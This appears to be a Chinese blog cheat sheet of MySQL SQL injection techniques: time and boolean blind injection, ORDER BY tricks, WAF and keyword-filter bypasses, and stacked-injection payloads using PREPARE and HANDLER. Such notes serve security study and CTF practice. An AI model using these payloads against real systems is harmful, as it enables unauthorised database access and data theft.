SQL injection Black Magic
2024-08-07 00:21:26

一直都不太会SQL注入,停留在基础的联合、盲注、报错注入,再者实际情况中,得益于预编译、存储过程,SQL注入也被杜绝得差不多了。下面整理一些常见套路。

延时和布尔盲注的共同点都是截取字符串并比较

延时注入

MySQL中的五种延时方法:sleepbenchmarkget_lock、正则匹配、笛卡尔积

  • sleep
1
select sleep(5);  # 5s
  • benchmark

benchmark(count,expr):重复执行count次expr表达式

1
2
select benchmark(10000000, md5(1));  # 1.555s
select benchmark(10000000, sha1(1)); # 1.776s
  • get_lock

get_lock(key,timeout) 加锁成功返回1。这个锁是应用程序级别,在不同的mysql会话之间使用。缺点是需要长连接才有效

image-20230806090437692

  • 正则匹配

想要正则匹配到达耗时的效果,需要有长字符串和计算量大的pattern

使用rpadrepeat来构造长字符串

RPAD(str,len,padstr) 在str的右侧填充padstr直到str达到长度len

1
SELECT RPAD('he',4,'l')   # hell

repeat(str,times) 复制str字符串times次

1
SELECT REPEAT('yes',3);  # yesyesyes

总所周知,正则表达式的引擎分为两种

  • DFA(Deterministic Finite Automaton-确定型有穷自动机)

    只对字符串扫描一次。从开始状态一个个去匹配字符。对于每个字符,匹配则吞入,匹配不上则吐出,一直往下匹配

  • NFA(Non-Deterministic Finite Automaton-非确定型有穷自动机)

    和DFA不同的是,当匹配失败时,会进行回溯,尝试其他状态。

比如对于正则表达式<a>(.*)</a>匹配<a>hack</a>

刚才是匹配到<a>,由于(.*)是贪婪匹配,它会把后面所有的字符都吞了,后面就没得字符去匹配</a>了,于是开始回溯,回溯四次,刚好匹配到<,接着继续直到匹配成功。

NFA虽然慢一点,但功能更强大,大部分编程语言的正则都是NFA,而MySQL中的正则是DFA

1
2
3
4
5
6
7
8
import re
import time

pattern = re.compile('(a.*)+' * 100)
start = time.time()
pattern.match('a' * 10000)
period = time.time() - start
print(period)
1
SELECT rpad('a', 1000, 'a') REGEXP CONCAT(REPEAT('(a.*)+', 100))

在python中直接卡死,而在MySQL中直接秒过(这也叫回溯陷阱)

MySQL对于输入的数据长度有限制

1
show VARIABLES like 'max_allowed_packet';

因此若填充过长的字符串会导致反而没有延时效果

rlikeregexp进行正则匹配(注意这里末尾又加了一个b)

1
select rpad('a',100000,'a') regexp concat(repeat('(a.*)+',1000),'b');  # 1.992s
  • 笛卡尔积

连接表是一个耗时的操作

select A, B最后得到的表的记录数有count(A)×count(B)

因此得选取记录数较多的表才能造成延迟效果

3087×3087×281

1
2
3
SELECT count(*) 
FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
# 76.861

information_schema.columnsinformation_schema.tables可能不稳定,不同的数据库,columnstables的数量不同,太少起不了延时效果,太多可能会导致延时时间过久或数据库崩溃

因此使用下面的组合

44×44×222×222

1
2
3
4
SELECT count(*)
FROM information_schema.PLUGINS, information_schema.PLUGINS A,
information_schema.COLLATIONS, information_schema.COLLATIONS B;
# 3.370s

Order By盲注

  • Trick 1

order by rand(True)order by rand(False)的结果排序不同

1
order by rand(database()='xxx')
  • Trick 2
1
select * from user order by id|(if(substr(database(),1,1)='a',2,3));

真->id和2作或运算

假->id和3作或运算

造成两种不同的排序

黑名单绕过

substr过滤

substrsubstringmid用法一致

rightleft无法精确到字符串某一位,可以配合ordascii一起使用

ascii/ord返回传入字符串的首字母的ASCII码

  • right + ord/ascii
1
SELECT ASCII(RIGHT('abcde',2));  # 返回100对应d的ascii
  • left + reverse + ord/ascii
1
SELECT ASCII(REVERSE(LEFT('abcde',2))); # 返回98对应b的ascii

当然也不一定得转为ascii,只是转为数字可以避免一些特殊符号(单引号、反斜线)干扰SQL语法(拼接时加个反斜线转义即可),也方便二分注入

1
2
3
4
5
# 字符也不是不能二分
SELECT SUBSTR('a', 1, 1) > '_'; # 输出0
# ord('_') = 95 ord('a') = 97 上面的结果显然是错的
# 得在字符前面加BINARY
SELECT SUBSTR('a', 1, 1) > BINARY '_' # 输出1

逗号过滤

在使用盲注时需要用到substr()mid()limit,这些方法或字句都需要用到逗号。

  • from for

对于substrmid,可以使用from for来绕过

substr(str,pos,len): 从pos开始的位置,截取len个字符

等价于substr(str FROM pos FOR len)

substr(str,pos): 从pos开始的位置截取到末尾

等价于substr(str FROM pos)

1
2
3
# 库名为organization
SELECT SUBSTR(DATABASE() from 1 for 2), SUBSTR(DATABASE(),1,2) # or
SELECT SUBSTR(DATABASE() from 7), SUBSTR(DATABASE(),7) # zation

substr可换成substring,效果一样

类似的函数还有SUBSTRING_INDEX

1
SELECT SUBSTRING_INDEX('11|22|33|44','|',3)   # 11|22|33

for被过滤了,再from截取-1

1
SELECT mid(mid(database() from -5) from -1)
  • join
1
2
3
SELECT 1,2;
# 等价于
SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b;
  • like
1
2
3
4
# user()为root@localhost
SELECT USER() LIKE 'r%' # 1
# 等价于
SELECT ASCII(MID(USER(),1,1))=114 # 1
  • offset

对于like可以使用offset来绕过

LIMIT offset, count: 从offset开始返回count条记录

不同于substrmidlimit的offset是从0开始

1
2
3
SELECT * FROM test LIMIT 0,1
# 等价于
SELECT * FROM test LIMIT 1 OFFSET 0

空格过滤

%0A(换行)、%0D(回车)、%09(Tab)、/**/()

1
2
SELECT(ASCII(MID(DATABASE()FROM(1)FOR(1)))=111)
SELECT/**/ASCII(MID(DATABASE()/**/FROM/**/1/**/FOR/**/1))=111

引号过滤

一般是where子句的过滤条件里面用到引号,可以把字符串换成十六进制

1
2
3
select column_name from information_schema.columns where table_name='test'
# 等价于
select column_name from information_schema.columns where table_name=0x74657374

或者用concatchar一个个字符拼接

1
select column_name from information_schema.columns where table_name=concat(CHAR(116),CHAR(101),CHAR(115),CHAR(116))

比较符过滤

在使用二分盲注时,经常用到<>

可以用greatestleast代替

1
2
3
4
select * from test where id=1 and ascii(substr(database(),1,1))<64
# 等价于
select * from test where id=1 and GREATEST(ascii(substr(database(),1,1)),64)=64
# 表示64是二者最大的,即x<64

同样

1
2
3
4
select * from test where id=1 and ascii(substr(database(),1,1))>64
# 等价于
select * from test where id=1 and LEAST(ascii(substr(database(),1,1)),64)=64
# 表示64是二者最小的,即x>64

=被过滤了,考虑between and

1
2
3
select * from test where id=1 and ascii(substr(database(),1,1))=111
# 等价于
select * from test where id=1 and ascii(substr(database(),1,1)) BETWEEN 111 AND 111

between and不仅可以用于数值、也可以用于字符串

1
SELECT substr(database(),1,1) BETWEEN 'o' AND 'o'

如果=后面跟着字符串,也可以用likerlikeregexp来绕过

1
2
3
select substr(database(),1,1) like 'o'
select substr(database(),1,1) rlike 'o'
select substr(database(),1,1) regexp 'o'

rlikeregexp还可以通过正则匹配来代替substr,逐位匹配

1
2
3
SELECT database() rlike '^o'
SELECT database() rlike '^or'
SELECT database() rlike '^org'

注意regexrlike是不区分大小写的

需要在正则前面加上BINARY(MySQL中的一种数据类型)

1
2
SELECT 'TeSt' REGEXP BINARY '^t'   # 0
SELECT 'TeSt' REGEXP '^t' # 1

逻辑符过滤

1
2
3
4
and -> &&
or -> ||
xor -> |
not -> !
1
2
SELECT * FROM test WHERE id = 0 || 1=1
SELECT * FROM test WHERE id = 1 && 1=0

||&&也被过滤了,可以使用异或^

MySQL中没有布尔类型,真为1,假为0

1
2
3
SELECT * FROM test WHERE 1 ^ (ascii(substr(database(),1,1))>64)
# 真 1^1=0 返回空
# 假 1^0=1 全返回

if过滤

case when then else end代替,或者多个and(前面的语句为真才会执行后面的)

1
2
3
SELECT if(hex(substr(database(),1,1))>'40',sleep(2),1);
SELECT hex(substr(database(),1,1))>'40' and sleep(2);
SELECT case when hex(substr(database(),1,1))>'40' then sleep(2) else 0 end;

注释符过滤

MySQL可以用-- (后面跟着空格)代替#

如果注入点在SQL语句末尾,可以尝试闭合最后的引号(当然如果是数值型注入就不用考虑闭合了)

1
2
3
SELECT * FROM test WHERE id = '1'
SELECT * FROM test WHERE id = '1' union select 1,2,'3'
# id=1' union select 1,2,'3

关键字过滤

如过滤unionselectwherefrom这些关键字

若WAF没有强转大写或小写,可以试试大小写绕过。不然就得看有没有堆叠注入了。

1
2
3
show databases;
show tables;
show columns from table_name;

可参考2019强网杯——随便注

https://blog.csdn.net/lilongsy/article/details/108596757

堆叠注入配合预编译SQL

1
';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="xxx"');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
1
set @x=0x31;Prepare a from "select balabala from table1 where 1=?";Execute a using @x;

或者用handler

1
2
3
4
5
handler user OPEN as a1;
handler a1 read first;
handler a1 read next;
handler a1 read next;
handler a1 CLOSE;

MySQL8.0.19之后可以使用新的语法来替代select

1
2
3
select * from user
# 等价于
table user
1
VALUES ROW("Black", "Cat"), ROW("Yellow", "Dog");

结果:

1
2
3
4
5
6
+----------+----------+
| column_0 | column_1 |
+----------+----------+
| Black | Cat |
| Yellow | Dog |
+----------+----------+

等价函数

1
2
hex()、bin() -> ascii()
concat_ws() -> group_concat() # CONCAT_WS(separator,str1,str2,...)

Articles To Learn